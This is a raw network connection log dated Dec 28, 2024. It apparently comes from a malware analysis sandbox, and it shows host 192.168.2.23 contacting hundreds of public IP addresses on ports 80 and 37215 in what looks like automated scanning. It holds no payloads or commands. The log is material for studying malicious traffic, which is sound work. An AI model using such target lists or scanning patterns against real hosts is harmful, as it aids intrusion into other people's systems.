Dec 28, 2024 20:41:50.391479015 CET	80	28662	37.102.104.58	192.168.2.23
Dec 28, 2024 20:41:50.391488075 CET	80	28662	60.32.5.56	192.168.2.23
Dec 28, 2024 20:41:50.391498089 CET	80	28662	42.129.141.32	192.168.2.23
Dec 28, 2024 20:41:50.391501904 CET	28662	80	192.168.2.23	157.32.110.94
Dec 28, 2024 20:41:50.391520023 CET	28662	80	192.168.2.23	37.102.104.58
Dec 28, 2024 20:41:50.391520977 CET	80	28662	61.2.113.51	192.168.2.23
Dec 28, 2024 20:41:50.391525030 CET	28662	80	192.168.2.23	63.192.110.23
Dec 28, 2024 20:41:50.391525030 CET	28662	80	192.168.2.23	60.32.5.56
Dec 28, 2024 20:41:50.391529083 CET	28662	80	192.168.2.23	42.129.141.32
Dec 28, 2024 20:41:50.391549110 CET	80	28662	70.49.138.224	192.168.2.23
Dec 28, 2024 20:41:50.391554117 CET	28662	80	192.168.2.23	61.2.113.51
Dec 28, 2024 20:41:50.391583920 CET	80	28662	95.249.190.78	192.168.2.23
Dec 28, 2024 20:41:50.391588926 CET	28662	80	192.168.2.23	70.49.138.224
Dec 28, 2024 20:41:50.391596079 CET	80	28662	107.254.199.66	192.168.2.23
Dec 28, 2024 20:41:50.391603947 CET	80	28662	60.209.31.45	192.168.2.23
Dec 28, 2024 20:41:50.391630888 CET	28662	80	192.168.2.23	95.249.190.78
Dec 28, 2024 20:41:50.391634941 CET	28662	80	192.168.2.23	107.254.199.66
Dec 28, 2024 20:41:50.391653061 CET	28662	80	192.168.2.23	60.209.31.45
Dec 28, 2024 20:41:50.391658068 CET	80	28662	113.202.81.255	192.168.2.23
Dec 28, 2024 20:41:50.391668081 CET	80	28662	61.235.200.11	192.168.2.23
Dec 28, 2024 20:41:50.391680002 CET	80	28662	208.152.212.180	192.168.2.23
Dec 28, 2024 20:41:50.391685009 CET	80	28662	106.114.79.198	192.168.2.23
Dec 28, 2024 20:41:50.391693115 CET	28662	80	192.168.2.23	113.202.81.255
Dec 28, 2024 20:41:50.391694069 CET	80	28662	185.222.232.188	192.168.2.23
Dec 28, 2024 20:41:50.391700983 CET	28662	80	192.168.2.23	61.235.200.11
Dec 28, 2024 20:41:50.391704082 CET	80	28662	177.10.168.242	192.168.2.23
Dec 28, 2024 20:41:50.391709089 CET	28662	80	192.168.2.23	208.152.212.180
Dec 28, 2024 20:41:50.391714096 CET	80	28662	191.217.226.28	192.168.2.23
Dec 28, 2024 20:41:50.391724110 CET	80	28662	131.34.57.117	192.168.2.23
Dec 28, 2024 20:41:50.391727924 CET	28662	80	192.168.2.23	185.222.232.188
Dec 28, 2024 20:41:50.391736031 CET	80	28662	131.135.84.28	192.168.2.23
Dec 28, 2024 20:41:50.391737938 CET	28662	80	192.168.2.23	177.10.168.242
Dec 28, 2024 20:41:50.391752958 CET	28662	80	192.168.2.23	191.217.226.28
Dec 28, 2024 20:41:50.391756058 CET	28662	80	192.168.2.23	106.114.79.198
Dec 28, 2024 20:41:50.391773939 CET	80	28662	198.173.102.104	192.168.2.23
Dec 28, 2024 20:41:50.391776085 CET	28662	80	192.168.2.23	131.34.57.117
Dec 28, 2024 20:41:50.391777992 CET	28662	80	192.168.2.23	131.135.84.28
Dec 28, 2024 20:41:50.391784906 CET	80	28662	216.10.127.158	192.168.2.23
Dec 28, 2024 20:41:50.391802073 CET	80	28662	141.186.155.102	192.168.2.23
Dec 28, 2024 20:41:50.391810894 CET	80	28662	207.208.104.178	192.168.2.23
Dec 28, 2024 20:41:50.391815901 CET	28662	80	192.168.2.23	198.173.102.104
Dec 28, 2024 20:41:50.391819954 CET	80	28662	176.136.69.179	192.168.2.23
Dec 28, 2024 20:41:50.391820908 CET	28662	80	192.168.2.23	216.10.127.158
Dec 28, 2024 20:41:50.391824007 CET	80	28662	98.99.56.109	192.168.2.23
Dec 28, 2024 20:41:50.391839027 CET	28662	80	192.168.2.23	141.186.155.102
Dec 28, 2024 20:41:50.391843081 CET	28662	80	192.168.2.23	176.136.69.179
Dec 28, 2024 20:41:50.391859055 CET	28662	80	192.168.2.23	207.208.104.178
Dec 28, 2024 20:41:50.391859055 CET	28662	80	192.168.2.23	98.99.56.109
Dec 28, 2024 20:41:50.391930103 CET	80	28662	162.163.55.10	192.168.2.23
Dec 28, 2024 20:41:50.391973019 CET	28662	80	192.168.2.23	162.163.55.10
Dec 28, 2024 20:41:50.392509937 CET	80	28662	27.22.25.83	192.168.2.23
Dec 28, 2024 20:41:50.392544985 CET	28662	80	192.168.2.23	27.22.25.83
Dec 28, 2024 20:41:50.392574072 CET	80	28662	188.132.48.73	192.168.2.23
Dec 28, 2024 20:41:50.392584085 CET	80	28662	216.80.101.123	192.168.2.23
Dec 28, 2024 20:41:50.392592907 CET	80	28662	74.8.81.84	192.168.2.23
Dec 28, 2024 20:41:50.392601013 CET	80	28662	73.73.117.108	192.168.2.23
Dec 28, 2024 20:41:50.392611027 CET	80	28662	94.109.33.174	192.168.2.23
Dec 28, 2024 20:41:50.392620087 CET	80	28662	95.48.55.24	192.168.2.23
Dec 28, 2024 20:41:50.392621994 CET	28662	80	192.168.2.23	188.132.48.73
Dec 28, 2024 20:41:50.392623901 CET	28662	80	192.168.2.23	216.80.101.123
Dec 28, 2024 20:41:50.392623901 CET	28662	80	192.168.2.23	74.8.81.84
Dec 28, 2024 20:41:50.392625093 CET	28662	80	192.168.2.23	73.73.117.108
Dec 28, 2024 20:41:50.392637014 CET	80	28662	135.10.35.187	192.168.2.23
Dec 28, 2024 20:41:50.392647028 CET	80	28662	139.137.43.239	192.168.2.23
Dec 28, 2024 20:41:50.392652035 CET	28662	80	192.168.2.23	94.109.33.174
Dec 28, 2024 20:41:50.392674923 CET	28662	80	192.168.2.23	95.48.55.24
Dec 28, 2024 20:41:50.392674923 CET	28662	80	192.168.2.23	135.10.35.187
Dec 28, 2024 20:41:50.392714024 CET	80	28662	103.63.55.194	192.168.2.23
Dec 28, 2024 20:41:50.392714977 CET	28662	80	192.168.2.23	139.137.43.239
Dec 28, 2024 20:41:50.392724991 CET	80	28662	184.242.134.75	192.168.2.23
Dec 28, 2024 20:41:50.392735004 CET	80	28662	146.128.242.96	192.168.2.23
Dec 28, 2024 20:41:50.392744064 CET	80	28662	213.58.161.44	192.168.2.23
Dec 28, 2024 20:41:50.392754078 CET	28662	80	192.168.2.23	103.63.55.194
Dec 28, 2024 20:41:50.392754078 CET	28662	80	192.168.2.23	184.242.134.75
Dec 28, 2024 20:41:50.392757893 CET	28662	80	192.168.2.23	146.128.242.96
Dec 28, 2024 20:41:50.392762899 CET	80	28662	143.215.212.45	192.168.2.23
Dec 28, 2024 20:41:50.392771959 CET	80	28662	115.68.130.249	192.168.2.23
Dec 28, 2024 20:41:50.392781973 CET	37215	28660	197.233.41.179	192.168.2.23
Dec 28, 2024 20:41:50.392786026 CET	28662	80	192.168.2.23	213.58.161.44
Dec 28, 2024 20:41:50.392790079 CET	37215	28660	197.43.204.179	192.168.2.23
Dec 28, 2024 20:41:50.392798901 CET	37215	28660	156.152.173.25	192.168.2.23
Dec 28, 2024 20:41:50.392802954 CET	28662	80	192.168.2.23	143.215.212.45
Dec 28, 2024 20:41:50.392808914 CET	37215	28660	197.73.234.190	192.168.2.23
Dec 28, 2024 20:41:50.392810106 CET	28662	80	192.168.2.23	115.68.130.249
Dec 28, 2024 20:41:50.392812014 CET	28660	37215	192.168.2.23	197.43.204.179
Dec 28, 2024 20:41:50.392812014 CET	28660	37215	192.168.2.23	197.233.41.179
Dec 28, 2024 20:41:50.392826080 CET	37215	28660	41.165.5.157	192.168.2.23
Dec 28, 2024 20:41:50.392833948 CET	28660	37215	192.168.2.23	156.152.173.25
Dec 28, 2024 20:41:50.392834902 CET	28660	37215	192.168.2.23	197.73.234.190
Dec 28, 2024 20:41:50.392836094 CET	37215	28660	197.57.177.118	192.168.2.23
Dec 28, 2024 20:41:50.392846107 CET	37215	28660	197.85.223.196	192.168.2.23
Dec 28, 2024 20:41:50.392854929 CET	37215	28660	156.133.202.69	192.168.2.23
Dec 28, 2024 20:41:50.392864943 CET	37215	28660	156.210.58.0	192.168.2.23
Dec 28, 2024 20:41:50.392865896 CET	28660	37215	192.168.2.23	41.165.5.157
Dec 28, 2024 20:41:50.392874002 CET	37215	28660	197.123.103.117	192.168.2.23
Dec 28, 2024 20:41:50.392874002 CET	28660	37215	192.168.2.23	197.85.223.196
Dec 28, 2024 20:41:50.392875910 CET	28660	37215	192.168.2.23	197.57.177.118
Dec 28, 2024 20:41:50.392875910 CET	28660	37215	192.168.2.23	156.133.202.69
Dec 28, 2024 20:41:50.392894030 CET	37215	28660	41.51.71.133	192.168.2.23
Dec 28, 2024 20:41:50.392900944 CET	28660	37215	192.168.2.23	156.210.58.0
Dec 28, 2024 20:41:50.392904043 CET	37215	28660	197.78.97.70	192.168.2.23
Dec 28, 2024 20:41:50.392908096 CET	28660	37215	192.168.2.23	197.123.103.117
Dec 28, 2024 20:41:50.392914057 CET	37215	28660	41.12.15.19	192.168.2.23
Dec 28, 2024 20:41:50.392925978 CET	28660	37215	192.168.2.23	41.51.71.133
Dec 28, 2024 20:41:50.392927885 CET	28660	37215	192.168.2.23	197.78.97.70
Dec 28, 2024 20:41:50.392932892 CET	28660	37215	192.168.2.23	41.12.15.19
Dec 28, 2024 20:41:50.393533945 CET	37215	28660	197.148.164.42	192.168.2.23
Dec 28, 2024 20:41:50.393548965 CET	37215	28660	41.78.5.80	192.168.2.23
Dec 28, 2024 20:41:50.393553972 CET	37215	28660	197.46.10.28	192.168.2.23
Dec 28, 2024 20:41:50.393559933 CET	37215	28660	156.230.78.97	192.168.2.23
Dec 28, 2024 20:41:50.393568993 CET	37215	28660	156.206.41.225	192.168.2.23
Dec 28, 2024 20:41:50.393572092 CET	28660	37215	192.168.2.23	197.148.164.42
Dec 28, 2024 20:41:50.393579006 CET	37215	28660	197.250.62.163	192.168.2.23
Dec 28, 2024 20:41:50.393587112 CET	28660	37215	192.168.2.23	197.46.10.28
Dec 28, 2024 20:41:50.393588066 CET	37215	28660	197.245.51.67	192.168.2.23
Dec 28, 2024 20:41:50.393588066 CET	28660	37215	192.168.2.23	41.78.5.80
Dec 28, 2024 20:41:50.393591881 CET	37215	28660	41.5.187.21	192.168.2.23
Dec 28, 2024 20:41:50.393598080 CET	28660	37215	192.168.2.23	156.230.78.97
Dec 28, 2024 20:41:50.393600941 CET	28660	37215	192.168.2.23	156.206.41.225
Dec 28, 2024 20:41:50.393608093 CET	37215	28660	41.71.196.80	192.168.2.23
Dec 28, 2024 20:41:50.393616915 CET	28660	37215	192.168.2.23	197.250.62.163
Dec 28, 2024 20:41:50.393620014 CET	28660	37215	192.168.2.23	197.245.51.67
Dec 28, 2024 20:41:50.393623114 CET	28660	37215	192.168.2.23	41.5.187.21
Dec 28, 2024 20:41:50.393656015 CET	28660	37215	192.168.2.23	41.71.196.80
Dec 28, 2024 20:41:50.393675089 CET	37215	28660	156.118.89.21	192.168.2.23
Dec 28, 2024 20:41:50.393685102 CET	37215	28660	156.127.0.64	192.168.2.23
Dec 28, 2024 20:41:50.393692970 CET	37215	28660	41.234.110.43	192.168.2.23
Dec 28, 2024 20:41:50.393704891 CET	37215	28660	41.132.154.53	192.168.2.23
Dec 28, 2024 20:41:50.393708944 CET	28660	37215	192.168.2.23	156.118.89.21
Dec 28, 2024 20:41:50.393713951 CET	37215	28660	41.229.173.153	192.168.2.23
Dec 28, 2024 20:41:50.393722057 CET	28660	37215	192.168.2.23	156.127.0.64
Dec 28, 2024 20:41:50.393723965 CET	37215	28660	197.131.224.40	192.168.2.23
Dec 28, 2024 20:41:50.393726110 CET	28660	37215	192.168.2.23	41.234.110.43
Dec 28, 2024 20:41:50.393726110 CET	28660	37215	192.168.2.23	41.132.154.53
Dec 28, 2024 20:41:50.393738031 CET	37215	28660	197.201.82.98	192.168.2.23
Dec 28, 2024 20:41:50.393742085 CET	28660	37215	192.168.2.23	41.229.173.153
Dec 28, 2024 20:41:50.393758059 CET	28660	37215	192.168.2.23	197.131.224.40
Dec 28, 2024 20:41:50.393779039 CET	28660	37215	192.168.2.23	197.201.82.98
Dec 28, 2024 20:41:50.393795013 CET	37215	28660	197.100.168.79	192.168.2.23
Dec 28, 2024 20:41:50.393805027 CET	37215	28660	41.62.174.230	192.168.2.23
Dec 28, 2024 20:41:50.393815041 CET	37215	28660	156.142.161.67	192.168.2.23
Dec 28, 2024 20:41:50.393826008 CET	37215	28660	156.39.111.157	192.168.2.23
Dec 28, 2024 20:41:50.393831968 CET	28660	37215	192.168.2.23	197.100.168.79
Dec 28, 2024 20:41:50.393835068 CET	37215	28660	41.154.182.77	192.168.2.23
Dec 28, 2024 20:41:50.393843889 CET	37215	28660	156.76.156.213	192.168.2.23
Dec 28, 2024 20:41:50.393845081 CET	28660	37215	192.168.2.23	156.142.161.67
Dec 28, 2024 20:41:50.393848896 CET	28660	37215	192.168.2.23	41.62.174.230
Dec 28, 2024 20:41:50.393858910 CET	37215	28660	197.154.67.18	192.168.2.23
Dec 28, 2024 20:41:50.393862963 CET	28660	37215	192.168.2.23	156.39.111.157
Dec 28, 2024 20:41:50.393867970 CET	37215	28660	156.202.186.250	192.168.2.23
Dec 28, 2024 20:41:50.393872976 CET	28660	37215	192.168.2.23	41.154.182.77
Dec 28, 2024 20:41:50.393876076 CET	37215	28660	197.148.148.32	192.168.2.23
Dec 28, 2024 20:41:50.393877983 CET	28660	37215	192.168.2.23	156.76.156.213
Dec 28, 2024 20:41:50.393887043 CET	37215	28660	197.66.108.56	192.168.2.23
Dec 28, 2024 20:41:50.393896103 CET	37215	28660	197.147.152.74	192.168.2.23
Dec 28, 2024 20:41:50.393903017 CET	28660	37215	192.168.2.23	197.154.67.18
Dec 28, 2024 20:41:50.393904924 CET	37215	28660	156.102.25.134	192.168.2.23
Dec 28, 2024 20:41:50.393904924 CET	28660	37215	192.168.2.23	156.202.186.250
Dec 28, 2024 20:41:50.393923044 CET	28660	37215	192.168.2.23	197.66.108.56
Dec 28, 2024 20:41:50.393923998 CET	28660	37215	192.168.2.23	197.148.148.32
Dec 28, 2024 20:41:50.393927097 CET	28660	37215	192.168.2.23	197.147.152.74
Dec 28, 2024 20:41:50.393956900 CET	28660	37215	192.168.2.23	156.102.25.134
Dec 28, 2024 20:41:50.394279003 CET	37215	28660	156.36.1.245	192.168.2.23
Dec 28, 2024 20:41:50.394289017 CET	37215	28660	156.94.58.27	192.168.2.23
Dec 28, 2024 20:41:50.394298077 CET	37215	28660	41.12.184.186	192.168.2.23
Dec 28, 2024 20:41:50.394315958 CET	28660	37215	192.168.2.23	156.36.1.245
Dec 28, 2024 20:41:50.394330025 CET	28660	37215	192.168.2.23	156.94.58.27
Dec 28, 2024 20:41:50.394330978 CET	28660	37215	192.168.2.23	41.12.184.186
Dec 28, 2024 20:41:50.394341946 CET	37215	28660	41.124.39.219	192.168.2.23
Dec 28, 2024 20:41:50.394351959 CET	37215	28660	41.159.94.204	192.168.2.23
Dec 28, 2024 20:41:50.394361019 CET	37215	28660	197.254.20.156	192.168.2.23
Dec 28, 2024 20:41:50.394368887 CET	37215	28660	41.29.38.216	192.168.2.23
Dec 28, 2024 20:41:50.394377947 CET	37215	28660	41.220.97.13	192.168.2.23
Dec 28, 2024 20:41:50.394385099 CET	28660	37215	192.168.2.23	41.159.94.204
Dec 28, 2024 20:41:50.394386053 CET	28660	37215	192.168.2.23	41.124.39.219
Dec 28, 2024 20:41:50.394395113 CET	37215	28660	156.51.185.184	192.168.2.23
Dec 28, 2024 20:41:50.394402981 CET	37215	28660	41.62.50.189	192.168.2.23
Dec 28, 2024 20:41:50.394403934 CET	28660	37215	192.168.2.23	41.29.38.216
Dec 28, 2024 20:41:50.394406080 CET	28660	37215	192.168.2.23	197.254.20.156
Dec 28, 2024 20:41:50.394408941 CET	28660	37215	192.168.2.23	41.220.97.13
Dec 28, 2024 20:41:50.394428968 CET	28660	37215	192.168.2.23	156.51.185.184
Dec 28, 2024 20:41:50.394449949 CET	28660	37215	192.168.2.23	41.62.50.189
Dec 28, 2024 20:41:50.394510031 CET	37215	28660	197.143.201.254	192.168.2.23
Dec 28, 2024 20:41:50.394524097 CET	37215	28660	41.149.91.63	192.168.2.23
Dec 28, 2024 20:41:50.394532919 CET	37215	28660	156.101.103.0	192.168.2.23
Dec 28, 2024 20:41:50.394541025 CET	37215	28660	41.25.63.116	192.168.2.23
Dec 28, 2024 20:41:50.394548893 CET	37215	28660	41.196.42.227	192.168.2.23
Dec 28, 2024 20:41:50.394557953 CET	37215	28660	197.168.124.115	192.168.2.23
Dec 28, 2024 20:41:50.394562006 CET	28660	37215	192.168.2.23	197.143.201.254
Dec 28, 2024 20:41:50.394562006 CET	28660	37215	192.168.2.23	41.149.91.63
Dec 28, 2024 20:41:50.394573927 CET	37215	28660	197.1.248.50	192.168.2.23
Dec 28, 2024 20:41:50.394575119 CET	28660	37215	192.168.2.23	41.25.63.116
Dec 28, 2024 20:41:50.394578934 CET	28660	37215	192.168.2.23	197.168.124.115
Dec 28, 2024 20:41:50.394582033 CET	28660	37215	192.168.2.23	156.101.103.0
Dec 28, 2024 20:41:50.394582987 CET	37215	28660	41.254.219.70	192.168.2.23
Dec 28, 2024 20:41:50.394592047 CET	37215	28660	156.53.50.123	192.168.2.23
Dec 28, 2024 20:41:50.394601107 CET	37215	28660	197.13.89.121	192.168.2.23
Dec 28, 2024 20:41:50.394602060 CET	28660	37215	192.168.2.23	41.196.42.227
Dec 28, 2024 20:41:50.394602060 CET	28660	37215	192.168.2.23	41.254.219.70
Dec 28, 2024 20:41:50.394614935 CET	28660	37215	192.168.2.23	197.1.248.50
Dec 28, 2024 20:41:50.394634962 CET	28660	37215	192.168.2.23	156.53.50.123
Dec 28, 2024 20:41:50.394645929 CET	28660	37215	192.168.2.23	197.13.89.121
Dec 28, 2024 20:41:50.394665956 CET	37215	28660	41.97.218.194	192.168.2.23
Dec 28, 2024 20:41:50.394675970 CET	37215	28660	156.141.7.42	192.168.2.23
Dec 28, 2024 20:41:50.394685984 CET	37215	28660	41.45.201.97	192.168.2.23
Dec 28, 2024 20:41:50.394695044 CET	37215	28660	156.215.122.0	192.168.2.23
Dec 28, 2024 20:41:50.394701958 CET	28660	37215	192.168.2.23	41.97.218.194
Dec 28, 2024 20:41:50.394702911 CET	37215	28660	197.100.93.43	192.168.2.23
Dec 28, 2024 20:41:50.394712925 CET	37215	28660	41.230.57.52	192.168.2.23
Dec 28, 2024 20:41:50.394716978 CET	28660	37215	192.168.2.23	156.141.7.42
Dec 28, 2024 20:41:50.394721985 CET	37215	28660	197.57.4.133	192.168.2.23
Dec 28, 2024 20:41:50.394726038 CET	28660	37215	192.168.2.23	197.100.93.43
Dec 28, 2024 20:41:50.394725084 CET	28660	37215	192.168.2.23	156.215.122.0
Dec 28, 2024 20:41:50.394726992 CET	28660	37215	192.168.2.23	41.45.201.97
Dec 28, 2024 20:41:50.394731998 CET	37215	28660	41.61.138.241	192.168.2.23
Dec 28, 2024 20:41:50.394747972 CET	28660	37215	192.168.2.23	41.230.57.52
Dec 28, 2024 20:41:50.394756079 CET	28660	37215	192.168.2.23	197.57.4.133
Dec 28, 2024 20:41:50.394768000 CET	28660	37215	192.168.2.23	41.61.138.241
Dec 28, 2024 20:41:50.395128965 CET	37215	28660	156.199.139.212	192.168.2.23
Dec 28, 2024 20:41:50.395139933 CET	37215	28660	156.159.17.208	192.168.2.23
Dec 28, 2024 20:41:50.395168066 CET	28660	37215	192.168.2.23	156.199.139.212
Dec 28, 2024 20:41:50.395174026 CET	37215	28660	156.112.34.127	192.168.2.23
Dec 28, 2024 20:41:50.395184994 CET	37215	28660	156.217.111.74	192.168.2.23
Dec 28, 2024 20:41:50.395195961 CET	28660	37215	192.168.2.23	156.159.17.208
Dec 28, 2024 20:41:50.395210981 CET	28660	37215	192.168.2.23	156.112.34.127
Dec 28, 2024 20:41:50.395216942 CET	28660	37215	192.168.2.23	156.217.111.74
Dec 28, 2024 20:41:50.395229101 CET	37215	28660	156.187.180.190	192.168.2.23
Dec 28, 2024 20:41:50.395234108 CET	37215	28660	41.243.83.202	192.168.2.23
Dec 28, 2024 20:41:50.395236015 CET	37215	28660	156.51.184.169	192.168.2.23
Dec 28, 2024 20:41:50.395240068 CET	37215	28660	41.30.63.223	192.168.2.23
Dec 28, 2024 20:41:50.395246029 CET	37215	28660	41.1.245.201	192.168.2.23
Dec 28, 2024 20:41:50.395261049 CET	37215	28660	156.247.127.244	192.168.2.23
Dec 28, 2024 20:41:50.395267010 CET	28660	37215	192.168.2.23	156.187.180.190
Dec 28, 2024 20:41:50.395267010 CET	28660	37215	192.168.2.23	156.51.184.169
Dec 28, 2024 20:41:50.395267010 CET	28660	37215	192.168.2.23	41.243.83.202
Dec 28, 2024 20:41:50.395275116 CET	37215	28660	41.218.200.143	192.168.2.23
Dec 28, 2024 20:41:50.395273924 CET	28660	37215	192.168.2.23	41.30.63.223
Dec 28, 2024 20:41:50.395287991 CET	37215	28660	197.165.208.150	192.168.2.23
Dec 28, 2024 20:41:50.395297050 CET	28660	37215	192.168.2.23	41.1.245.201
Dec 28, 2024 20:41:50.395304918 CET	28660	37215	192.168.2.23	156.247.127.244
Dec 28, 2024 20:41:50.395306110 CET	37215	28660	156.219.120.124	192.168.2.23
Dec 28, 2024 20:41:50.395317078 CET	28660	37215	192.168.2.23	41.218.200.143
Dec 28, 2024 20:41:50.395319939 CET	37215	28660	156.149.196.2	192.168.2.23
Dec 28, 2024 20:41:50.395329952 CET	37215	28660	41.226.233.151	192.168.2.23
Dec 28, 2024 20:41:50.395334005 CET	28660	37215	192.168.2.23	197.165.208.150
Dec 28, 2024 20:41:50.395339966 CET	28660	37215	192.168.2.23	156.219.120.124
Dec 28, 2024 20:41:50.395340919 CET	37215	28660	41.78.96.169	192.168.2.23
Dec 28, 2024 20:41:50.395345926 CET	37215	28660	156.240.236.213	192.168.2.23
Dec 28, 2024 20:41:50.395350933 CET	37215	28660	156.174.25.84	192.168.2.23
Dec 28, 2024 20:41:50.395354986 CET	37215	28660	41.167.103.46	192.168.2.23
Dec 28, 2024 20:41:50.395375013 CET	28660	37215	192.168.2.23	156.149.196.2
Dec 28, 2024 20:41:50.395375013 CET	28660	37215	192.168.2.23	41.226.233.151
Dec 28, 2024 20:41:50.395375013 CET	28660	37215	192.168.2.23	41.78.96.169
Dec 28, 2024 20:41:50.395381927 CET	28660	37215	192.168.2.23	41.167.103.46
Dec 28, 2024 20:41:50.395384073 CET	28660	37215	192.168.2.23	156.174.25.84
Dec 28, 2024 20:41:50.395389080 CET	28660	37215	192.168.2.23	156.240.236.213
Dec 28, 2024 20:41:50.395553112 CET	37215	28660	197.204.132.49	192.168.2.23
Dec 28, 2024 20:41:50.395562887 CET	37215	28660	41.194.167.97	192.168.2.23
Dec 28, 2024 20:41:50.395571947 CET	37215	28660	156.192.132.90	192.168.2.23
Dec 28, 2024 20:41:50.395581961 CET	37215	28660	41.245.244.128	192.168.2.23
Dec 28, 2024 20:41:50.395591021 CET	37215	28660	156.225.215.92	192.168.2.23
Dec 28, 2024 20:41:50.395591974 CET	28660	37215	192.168.2.23	197.204.132.49
Dec 28, 2024 20:41:50.395601034 CET	37215	28660	156.230.136.46	192.168.2.23
Dec 28, 2024 20:41:50.395608902 CET	28660	37215	192.168.2.23	41.194.167.97
Dec 28, 2024 20:41:50.395610094 CET	37215	28660	197.175.32.94	192.168.2.23
Dec 28, 2024 20:41:50.395618916 CET	28660	37215	192.168.2.23	156.192.132.90
Dec 28, 2024 20:41:50.395621061 CET	37215	28660	197.135.6.25	192.168.2.23
Dec 28, 2024 20:41:50.395620108 CET	28660	37215	192.168.2.23	41.245.244.128
Dec 28, 2024 20:41:50.395629883 CET	37215	28660	197.160.177.203	192.168.2.23
Dec 28, 2024 20:41:50.395642042 CET	28660	37215	192.168.2.23	156.230.136.46
Dec 28, 2024 20:41:50.395643950 CET	28660	37215	192.168.2.23	197.175.32.94
Dec 28, 2024 20:41:50.395658970 CET	28660	37215	192.168.2.23	156.225.215.92
Dec 28, 2024 20:41:50.395658970 CET	28660	37215	192.168.2.23	197.135.6.25
Dec 28, 2024 20:41:50.395662069 CET	28660	37215	192.168.2.23	197.160.177.203
Dec 28, 2024 20:41:50.395908117 CET	37215	28660	156.80.238.96	192.168.2.23
Dec 28, 2024 20:41:50.395916939 CET	37215	28660	41.100.134.250	192.168.2.23
Dec 28, 2024 20:41:50.395926952 CET	37215	28660	156.93.68.42	192.168.2.23
Dec 28, 2024 20:41:50.395937920 CET	28660	37215	192.168.2.23	156.80.238.96
Dec 28, 2024 20:41:50.395941973 CET	37215	28660	156.4.228.40	192.168.2.23
Dec 28, 2024 20:41:50.395951986 CET	37215	28660	41.182.36.249	192.168.2.23
Dec 28, 2024 20:41:50.395961046 CET	37215	28660	41.223.212.222	192.168.2.23
Dec 28, 2024 20:41:50.395965099 CET	28660	37215	192.168.2.23	156.93.68.42
Dec 28, 2024 20:41:50.395971060 CET	37215	28660	197.251.151.31	192.168.2.23
Dec 28, 2024 20:41:50.395975113 CET	28660	37215	192.168.2.23	156.4.228.40
Dec 28, 2024 20:41:50.395977020 CET	28660	37215	192.168.2.23	41.182.36.249
Dec 28, 2024 20:41:50.395977974 CET	28660	37215	192.168.2.23	41.100.134.250
Dec 28, 2024 20:41:50.395988941 CET	37215	28660	197.12.196.122	192.168.2.23
Dec 28, 2024 20:41:50.395997047 CET	28660	37215	192.168.2.23	41.223.212.222
Dec 28, 2024 20:41:50.396001101 CET	37215	28660	156.41.14.179	192.168.2.23
Dec 28, 2024 20:41:50.396004915 CET	37215	28660	41.96.140.46	192.168.2.23
Dec 28, 2024 20:41:50.396012068 CET	28660	37215	192.168.2.23	197.251.151.31
Dec 28, 2024 20:41:50.396023035 CET	37215	28660	41.26.116.132	192.168.2.23
Dec 28, 2024 20:41:50.396033049 CET	28660	37215	192.168.2.23	197.12.196.122
Dec 28, 2024 20:41:50.396033049 CET	37215	28660	156.85.55.67	192.168.2.23
Dec 28, 2024 20:41:50.396034002 CET	28660	37215	192.168.2.23	41.96.140.46
Dec 28, 2024 20:41:50.396033049 CET	28660	37215	192.168.2.23	156.41.14.179
Dec 28, 2024 20:41:50.396051884 CET	37215	28660	197.136.131.231	192.168.2.23
Dec 28, 2024 20:41:50.396061897 CET	37215	28660	156.45.45.166	192.168.2.23
Dec 28, 2024 20:41:50.396063089 CET	28660	37215	192.168.2.23	41.26.116.132
Dec 28, 2024 20:41:50.396065950 CET	28660	37215	192.168.2.23	156.85.55.67
Dec 28, 2024 20:41:50.396074057 CET	28660	37215	192.168.2.23	197.136.131.231
Dec 28, 2024 20:41:50.396087885 CET	37215	28660	41.153.16.238	192.168.2.23
Dec 28, 2024 20:41:50.396097898 CET	37215	28660	197.39.53.50	192.168.2.23
Dec 28, 2024 20:41:50.396100044 CET	28660	37215	192.168.2.23	156.45.45.166
Dec 28, 2024 20:41:50.396107912 CET	37215	28660	41.108.3.141	192.168.2.23
Dec 28, 2024 20:41:50.396125078 CET	37215	28660	197.147.182.97	192.168.2.23
Dec 28, 2024 20:41:50.396127939 CET	28660	37215	192.168.2.23	197.39.53.50
Dec 28, 2024 20:41:50.396131039 CET	28660	37215	192.168.2.23	41.153.16.238
Dec 28, 2024 20:41:50.396133900 CET	37215	28660	41.203.23.176	192.168.2.23
Dec 28, 2024 20:41:50.396142960 CET	37215	28660	156.123.15.132	192.168.2.23
Dec 28, 2024 20:41:50.396145105 CET	28660	37215	192.168.2.23	41.108.3.141
Dec 28, 2024 20:41:50.396159887 CET	28660	37215	192.168.2.23	197.147.182.97
Dec 28, 2024 20:41:50.396166086 CET	28660	37215	192.168.2.23	41.203.23.176
Dec 28, 2024 20:41:50.396174908 CET	28660	37215	192.168.2.23	156.123.15.132
Dec 28, 2024 20:41:50.396229982 CET	37215	28660	41.248.250.162	192.168.2.23
Dec 28, 2024 20:41:50.396241903 CET	37215	28660	197.86.34.83	192.168.2.23
Dec 28, 2024 20:41:50.396250010 CET	37215	28660	197.165.24.156	192.168.2.23
Dec 28, 2024 20:41:50.396259069 CET	37215	28660	41.167.24.187	192.168.2.23
Dec 28, 2024 20:41:50.396266937 CET	37215	28660	156.129.244.190	192.168.2.23
Dec 28, 2024 20:41:50.396275997 CET	37215	28660	197.18.221.92	192.168.2.23
Dec 28, 2024 20:41:50.396277905 CET	28660	37215	192.168.2.23	41.248.250.162
Dec 28, 2024 20:41:50.396281004 CET	28660	37215	192.168.2.23	197.86.34.83
Dec 28, 2024 20:41:50.396285057 CET	37215	28660	156.185.204.166	192.168.2.23
Dec 28, 2024 20:41:50.396286011 CET	28660	37215	192.168.2.23	197.165.24.156
Dec 28, 2024 20:41:50.396291018 CET	28660	37215	192.168.2.23	41.167.24.187
Dec 28, 2024 20:41:50.396296024 CET	37215	28660	156.38.83.149	192.168.2.23
Dec 28, 2024 20:41:50.396310091 CET	28660	37215	192.168.2.23	197.18.221.92
Dec 28, 2024 20:41:50.396315098 CET	28660	37215	192.168.2.23	156.129.244.190
Dec 28, 2024 20:41:50.396322966 CET	28660	37215	192.168.2.23	156.185.204.166
Dec 28, 2024 20:41:50.396347046 CET	28660	37215	192.168.2.23	156.38.83.149
Dec 28, 2024 20:41:50.396615028 CET	37215	28660	41.42.54.170	192.168.2.23
Dec 28, 2024 20:41:50.396656990 CET	37215	28660	156.183.52.68	192.168.2.23
Dec 28, 2024 20:41:50.396661043 CET	28660	37215	192.168.2.23	41.42.54.170
Dec 28, 2024 20:41:50.396671057 CET	37215	28660	41.141.85.23	192.168.2.23
Dec 28, 2024 20:41:50.396672010 CET	37215	28660	156.165.109.113	192.168.2.23
